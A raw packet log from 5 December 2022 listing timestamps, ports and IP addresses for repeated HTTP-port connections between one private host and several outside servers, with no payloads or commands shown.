Dec 5, 2022 15:15:18.185632944 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.185795069 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.467453957 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467511892 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467552900 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467591047 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467629910 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467650890 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.467669010 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467708111 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467746019 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467763901 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.467786074 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467823982 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467839956 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.467864037 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467902899 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467941999 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.467979908 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.468009949 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.468019009 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.468058109 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.468096972 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.468135118 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.468173027 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.468213081 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.749563932 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.749629974 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.749674082 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.749716997 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.749758959 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.749804974 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.750082970 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.750144958 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.750189066 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.750232935 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.750276089 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.832246065 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.832334995 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:18.832576990 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:18.916414022 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:19.080210924 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:19.080399036 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:19.112162113 CET	80	49844	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:19.112356901 CET	49844	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:19.932460070 CET	49845	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:20.213802099 CET	80	49845	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:20.214035988 CET	49845	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:20.214121103 CET	49845	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:20.494959116 CET	80	49845	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:20.499825954 CET	80	49845	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:20.499902964 CET	80	49845	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:20.500201941 CET	49845	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:20.500296116 CET	49845	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:20.744004011 CET	80	49845	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:20.744288921 CET	49845	80	192.168.11.20	154.204.24.45
Dec 5, 2022 15:15:20.781802893 CET	80	49845	154.204.24.45	192.168.11.20
Dec 5, 2022 15:15:25.835230112 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:25.949418068 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:25.949804068 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:25.949804068 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:26.064102888 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.263753891 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.263844013 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.263935089 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264007092 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264060020 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:26.264075041 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264139891 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264204025 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264213085 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:26.264266014 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264290094 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:26.264394999 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264465094 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:26.264470100 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.264662981 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:26.378420115 CET	80	49847	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:26.430372953 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:26.961713076 CET	49847	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:27.977111101 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.091336012 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.091804028 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.091943026 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.205868959 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337711096 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337759972 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337796926 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337833881 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337872982 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337903976 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.337933064 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337971926 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.337981939 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.338022947 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.338052988 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.338072062 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.338109016 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.338188887 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.338188887 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:28.452188969 CET	80	49848	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:28.492441893 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:29.101921082 CET	49848	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.117446899 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.233803034 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.234055996 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.234698057 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.234812021 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.351177931 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351255894 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351305962 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351356983 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351403952 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351449966 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351489067 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.351500034 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351548910 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351578951 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.351599932 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351648092 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.351654053 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.351881981 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.352003098 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.467967033 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468038082 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468082905 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468126059 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468170881 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468168974 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.468219042 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468250990 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.468457937 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468493938 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.468506098 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468641043 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468686104 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468867064 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.468908072 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.469130993 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.584642887 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.584698915 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.584986925 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.585155010 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.585366964 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724493027 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724586010 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724653959 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724718094 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724781990 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724800110 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.724844933 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724906921 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.724910975 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.724975109 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.725038052 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.725106001 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.725105047 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.725182056 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.725301027 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:30.841444969 CET	80	49849	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:30.882627964 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:31.241928101 CET	49849	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:32.257520914 CET	49850	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:32.371480942 CET	80	49850	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:32.371701002 CET	49850	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:32.371812105 CET	49850	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:32.485955954 CET	80	49850	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:32.666039944 CET	80	49850	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:32.710345984 CET	49850	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:42.675189972 CET	80	49850	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:42.675589085 CET	49850	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:42.675590038 CET	49850	80	192.168.11.20	192.185.32.157
Dec 5, 2022 15:15:42.789839983 CET	80	49850	192.185.32.157	192.168.11.20
Dec 5, 2022 15:15:47.860594988 CET	49852	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:48.023140907 CET	80	49852	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:48.023394108 CET	49852	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:48.023472071 CET	49852	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:48.185790062 CET	80	49852	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:48.220068932 CET	80	49852	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:48.220156908 CET	80	49852	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:48.220356941 CET	49852	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:49.034782887 CET	49852	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:50.050524950 CET	49853	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:50.213646889 CET	80	49853	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:50.214025974 CET	49853	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:50.214092016 CET	49853	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:50.377185106 CET	80	49853	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:50.414236069 CET	80	49853	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:50.414324999 CET	80	49853	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:50.414634943 CET	49853	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:51.221865892 CET	49853	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.237399101 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.400394917 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.400830030 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.401490927 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.564635992 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.564743042 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.564820051 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.564888000 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.564922094 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.564959049 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.565037966 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.565047979 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.565124035 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.565279007 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.565501928 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.728086948 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728180885 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728255987 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728332043 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728391886 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.728441954 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728492022 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.728518963 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728557110 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.728568077 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728614092 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728658915 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728765011 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.728920937 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.728938103 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:52.728996992 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.729047060 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.729130983 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.729178905 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.729248047 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.729294062 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.891315937 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.891825914 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.891870975 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.892107964 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.892149925 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.892227888 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.892398119 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.892513990 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.930581093 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.930608988 CET	80	49855	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:52.930732965 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:53.408879042 CET	49855	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:54.424417019 CET	49856	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:54.587145090 CET	80	49856	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:54.587455034 CET	49856	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:54.587519884 CET	49856	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:54.750041962 CET	80	49856	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:54.752850056 CET	80	49856	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:54.752861023 CET	80	49856	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:54.753315926 CET	49856	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:54.753390074 CET	49856	80	192.168.11.20	38.55.15.214
Dec 5, 2022 15:15:54.915817976 CET	80	49856	38.55.15.214	192.168.11.20
Dec 5, 2022 15:15:59.858340979 CET	49857	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:15:59.869424105 CET	80	49857	75.2.81.212	192.168.11.20
Dec 5, 2022 15:15:59.869724035 CET	49857	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:15:59.869815111 CET	49857	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:15:59.884649992 CET	80	49857	75.2.81.212	192.168.11.20
Dec 5, 2022 15:15:59.919596910 CET	80	49857	75.2.81.212	192.168.11.20
Dec 5, 2022 15:15:59.919660091 CET	80	49857	75.2.81.212	192.168.11.20
Dec 5, 2022 15:15:59.919711113 CET	80	49857	75.2.81.212	192.168.11.20
Dec 5, 2022 15:15:59.919852972 CET	49857	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:15:59.919915915 CET	49857	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:00.875957012 CET	49857	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:01.891591072 CET	49858	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:01.902719975 CET	80	49858	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:01.903100014 CET	49858	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:01.903176069 CET	49858	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:01.914328098 CET	80	49858	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:01.953124046 CET	80	49858	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:01.953182936 CET	80	49858	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:01.953228951 CET	80	49858	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:01.953399897 CET	49858	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:02.907061100 CET	49858	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.922346115 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.933609962 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.933809996 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.934403896 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.934498072 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.945410013 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.945650101 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.945688963 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.945749044 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.945791006 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.945995092 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.946063042 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.946110010 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.946151972 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.946232080 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.946274042 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.946307898 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.946347952 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.946460962 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.946630955 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.956736088 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.956772089 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957192898 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957211018 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.957230091 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957365036 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957393885 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957544088 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.957668066 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.957674980 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957710028 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957820892 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957849026 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957925081 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.957952023 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.958008051 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.958050966 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.958163023 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.958175898 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.958291054 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.958339930 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.958372116 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.958399057 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.958425045 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968055964 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968092918 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968425989 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968628883 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968667984 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968863964 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968902111 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.968930006 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.969153881 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.969333887 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.969373941 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.969422102 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.984997988 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.985038996 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.985100031 CET	80	49859	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:03.985177994 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:03.985274076 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:04.937542915 CET	49859	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:05.953568935 CET	49860	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:05.964946032 CET	80	49860	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:05.965275049 CET	49860	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:05.965394974 CET	49860	80	192.168.11.20	75.2.81.212
Dec 5, 2022 15:16:05.976453066 CET	80	49860	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:06.114550114 CET	80	49860	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:06.114631891 CET	80	49860	75.2.81.212	192.168.11.20
Dec 5, 2022 15:16:06.115052938 CET	49860	80	192.168.11.20	75.2.81.212
